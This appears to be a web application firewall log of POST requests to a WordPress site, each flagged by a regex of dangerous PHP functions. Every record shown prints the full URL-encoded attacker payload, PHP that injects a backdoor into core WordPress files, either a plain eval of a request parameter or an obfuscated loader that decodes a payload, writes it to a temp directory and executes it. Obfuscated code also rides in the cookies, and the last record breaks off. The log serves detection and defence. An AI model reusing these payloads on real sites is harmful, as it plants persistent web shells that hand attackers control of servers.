["2026-05-12 10:47:35","160.250.186.220","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> vq:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:4401\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvqaRvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvrS9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nvq=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/style-engine\/class-wp-style-engine-css-rule.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521is_null%2528%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%2520%253F%253F%2520null%2529%2529%257B%2520%2524pgrp%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520%2522\/var\/tmp%2522%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520session_save_path%2528%2529%252C%2520sys_get_temp_dir%2528%2529%255D%2529%253B%2520%2524entry%2520%253D%2520%2524_REQUEST%255B%2522it%255Cx6D%2522%255D%253B%2520%2524entry%2520%253D%2520explode%2528%2520%2522.%2522%252C%2524entry%2520%2529%2520%253B%2520%2524sym%253D%2527%2527%253B%2520%2524salt4%253D%2527abcdefghijklmnopqrstuvwxyz0123456789%2527%253B%2520%2524sLen%253Dstrlen%2528%2520%2524salt4%2529%253B%2520%2524i%253D0%253B%2520while%2528%2520%2524i%2520%253C%2520count%2528%2520%2524entry%2529%2529%2520%257B%2520%2524v5%253D%2524entry%255B%2524i%255D%253B%2520%2524sChar%253Dord%2528%2520%2524salt4%255B%2524i%2520%2525%2520%2524sLen%255D%2529%253B%2520%2524d%253D%2528%2520%2528%2520int%2529%2524v5%2520-%2520%2524sChar%2520-%2528%2520%2524i%2520%2525%252010%2529%2529%2520%255E%252052%253B%2520%2524sym%2520.%253D%2520chr%2528%2520%2524d%2529%253B%2520%2524i%252B%252B%253B%2520%257D%2520foreach%2520%2528%2524pgrp%2520as%2520%2524key%2520%253D%253E%2520%2524ref%2529%2520%257B%2520if%2520%2528max%25280%252C%2520is_dir%2528%2524ref%2529%2520%252A%2520is_writable%2528%2524ref%2529%2529%2529%2520%257B%2520%2524token%2520%253D%2520join%2528%2522\/%2522%252C%2520%255B%2524ref%252C%2520%2522.ent%2522%255D%2529%253B%2520if%2520%2528file_put_contents%2528%2524token%252C%2520%2524sym%2529%2529%2520%257B%2520require%2520%2524token%253B%2520unlink%2528%2524token%2529%253B%2520die%2528%2529%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:39","129.121.41.228","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.51 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2040\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"99\", \"Google Chrome\";v=\"99\"\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWypKIyp3DvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nWM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:41","52.232.35.131","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Vn:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.3 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvIz4vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:2040\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\n\nVn=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:45","43.230.201.87","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> EH:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/100.0.4896.75 Safari\/537.36\ncontent-type:application\/x-www-form-urlencoded\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept:*\/*\naccept-encoding:gzip,deflate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:none\nupgrade-insecure-requests:1\nsec-fetch-mode:navigate\ncontent-length:2040\nsec-fetch-user:?1\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-dest:document\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"100\", \"Google Chrome\";v=\"100\"\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvEHtvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzkiL2gyMPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nsec-ch-ua-mobile:?0\n\nEH=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 10:47:46","78.142.18.172","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> Sz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/Requests\/src\/Auth.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27eval%2528%2524_REQUEST%255B%2527PdeHqm%2527%255D%2529%253B%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/network\/plugins.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/15.5 Safari\/605.1.15\naccept:*\/*\naccept-encoding:gzip,deflate\ncookie:4=730da3e67a08a749df0620450f4abf2e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvH3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWdqKA0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 